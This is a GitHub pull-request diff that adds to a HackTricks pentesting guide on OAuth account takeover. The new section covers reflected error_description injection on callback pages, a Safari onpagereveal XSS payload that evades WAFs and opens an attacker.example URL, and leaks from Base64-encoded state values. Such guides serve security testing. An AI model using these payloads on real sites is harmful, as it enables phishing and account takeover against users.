Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
25 changes: 25 additions & 0 deletions src/pentesting-web/oauth-to-account-takeover.md
Original file line number Diff line number Diff line change
Expand Up @@ -108,6 +108,29 @@ As mentioned in this bug bounty report [https://blog.dixitaditya.com/2021/11/19/
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```

### OAuth callback error pages: reflected `error_description`, trusted-origin phishing, and encoded `state` leakage

Some OAuth integrations use a **first-party callback page** to render login failures after the IdP redirects the browser back. These pages are high value because they already run on a **trusted origin** and often consume attacker-controlled parameters such as `error`, `error_description`, `message`, `description`, or `state`.

- **Reflecting `error_description` into HTML** without strict output encoding turns the callback into a **trusted-origin phishing page**. Even when `<script>` is filtered, HTML injection can still spoof the entire failure page and instruct the victim to perform attacker-chosen actions.
- **WAFs often key on common handlers** such as `onload`/`onerror`. When normal payloads are blocked, try **browser-specific or uncommon events** that defenders may not blacklist. A practical example is Safari's `onpagereveal`, which can execute when the malicious callback page is shown in Safari:

```html
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
```

- **Test self-referential payloads**: if the injected HTML/JS can reopen or reload the same callback URL, you may get **client-side resource exhaustion**, repeated popups/tabs, or **log flooding** on every render.
- **Always decode opaque-looking `state` values**. Many implementations Base64-encode JSON or user metadata and assume that is "hidden". Base64 is reversible, so callback URLs may leak **PII** such as email addresses, tenant identifiers, return paths, or internal workflow state.
- **Treat URL exposure as part of the bug**: anything placed in the callback URL can later appear in browser history, reverse proxies, load balancers, app logs, monitoring tools, screenshots, and `Referer` headers if the page loads third-party resources.

Quick checks during testing:

1. Trigger both success and failure OAuth callbacks and capture the full URL plus rendered HTML.
2. Replay the callback while mutating `error_description`, `message`, and similar error fields with plain text, HTML, and event-handler payloads.
3. Decode `state` as Base64/URL-safe Base64 and inspect it for PII or application state that should have stayed server-side.
4. Repeat browser-specific payloads in Safari/WebKit when the WAF blocks standard inline-event XSS probes.

### CSRF - Improper handling of state parameter <a href="#bda5" id="bda5"></a>

The `state` parameter is the Authorization Code flow CSRF token: the client must generate a **cryptographically random value per browser instance**, persist it somewhere only that browser can read (cookie, local storage, etc.), send it in the authorization request, and reject any response that does not return the same value. Whenever the value is static, predictable, optional, or not tied to the user’s session, the attacker can finish their own OAuth flow, capture the final `?code=` request (without sending it), and later coerce a victim browser into replaying that request so the victim account becomes linked to the attacker’s identity provider profile.
Expand Down Expand Up @@ -362,5 +385,7 @@ In mobile OAuth implementations, apps use **custom URI schemes** to receive redi
- [An Offensive Guide to the OAuth 2.0 Authorization Code Grant](https://www.nccgroup.com/research-blog/an-offensive-guide-to-the-authorization-code-grant/)
- [OAuth Discovery as an RCE Vector (Amla Labs)](https://amlalabs.com/blog/oauth-cve-2025-6514/)
- [Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO](https://ysamm.com/uncategorized/2026/01/16/leaking-fbevents-ato.html)
- [Rapid7: CVE-2026-31381, CVE-2026-31382: Gainsight Assist Information Disclosure and Cross-Site Scripting (FIXED)](https://www.rapid7.com/blog/post/ve-cve-2026-31381-cve-2026-31382-gainsight-assist-information-disclosure-xss-fixed)
- [MDN: Window `pagereveal` event](https://developer.mozilla.org/en-US/docs/Web/API/Window/pagereveal_event)

{{#include ../banners/hacktricks-training.md}}